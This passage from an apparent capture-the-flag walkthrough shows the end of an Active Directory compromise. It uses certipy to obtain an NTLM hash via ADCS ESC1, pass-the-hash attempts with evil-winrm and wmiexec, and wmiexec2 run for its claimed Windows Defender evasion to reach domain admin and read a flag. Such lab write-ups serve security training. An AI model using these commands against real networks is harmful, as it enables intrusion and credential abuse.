Once the `.pfx` file is received, authenticate to the KDC to retrieve the NTLM hash of the admin user.

**Command:**

```
certipy-ad auth -pfx anna_molly.pfx  -dc-ip 10.1.234.184 
```

<figure><img src="/files/9XUEJ8r2b9tcr5Oyklny" alt=""><figcaption></figcaption></figure>

*Result: Returns the NTLM hash for the user AnnaMolly.*

```
aad3b435b51404eeaad3b435b51404ee:be4bf3131851aee9a424c58e02879f6e
```

Let us try evil-winrm, which failed.

```
evil-winrm -i 10.1.234.184 -u 'anna_molly' -H 'be4bf3131851aee9a424c58e02879f6e' 
```

<figure><img src="/files/sCjT3wj3zOEWejD1VhSh" alt=""><figcaption></figcaption></figure>

wmiexec also fails

```
impacket-wmiexec 'anomaly.hsm/anna_molly@10.1.234.184' -hashes 'aad3b435b51404eeaad3b435b51404ee:be4bf3131851aee9a424c58e02879f6e'
```

***

### 3. Evasion & Final Access <a href="#user-content-3-evasion--final-access" id="user-content-3-evasion--final-access"></a>

The target is running **Windows Defender**, which may block standard tools like `psexec` or `wmiexec`.

#### 3.1 Bypassing Defender with `wmiexec2` <a href="#user-content-31-bypassing-defender-with-wmiexec2" id="user-content-31-bypassing-defender-with-wmiexec2"></a>

Standard Impacket `wmiexec` is often flagged. The tool **`wmiexec2`** uses obfuscation to evade detection.

{% embed url="<https://github.com/ice-wzl/wmiexec2>" %}

**Setup & Execution:**

```
git clone https://github.com/ice-wzl/wmiexec2
sudo python3 -m venv venv   
source venv/bin/activate
pip3 install -r requirements.txt
```

```
python3 wmiexec2.py \
'ANOMALY.HSM/anna_molly@Anomaly-DC.anomaly.hsm' \
-hashes aad3b435b51404eeaad3b435b51404ee:be4bf3131851aee9a424c58e02879f6e \
-no-pass \
-debug
```

<figure><img src="/files/5RIjxufibKhlpq1SwjYo" alt=""><figcaption></figcaption></figure>

#### 3.2 Capturing the Root Flag <a href="#user-content-32-capturing-the-root-flag" id="user-content-32-capturing-the-root-flag"></a>

Once the semi-interactive shell is established:

```
type C:\Users\Administrator\Desktop\root.txt
```

```
ZmxhZ3t3aW5kb3dzX2FkbWluXzdmOWIyWH0=
```

***

### Summary of Successive Compromise <a href="#user-content-summary-of-successive-compromise" id="user-content-summary-of-successive-compromise"></a>

| **Target**            | **Method**                         | **Credential Gained**   |
| --------------------- | ---------------------------------- | ----------------------- |
| **Ubuntu Web Server** | Jenkins Admin Login (admin)        | jenkins User Shell      |
| **Ubuntu Root**       | router-config Sudo Exploitation    | root Persistence (SSH)  |
| **Brandon Boyd**      | Kerberos Keytab + LDAP Description | AD Foothold             |
| **AnnaMolly (DA)**    | ADCS ESC1 via Machine Account      | Admin NTLM Hash         |
| **Domain Controller** | WMIExec2 (Pass-the-Hash)           | **Domain Admin (Root)** |

<br>
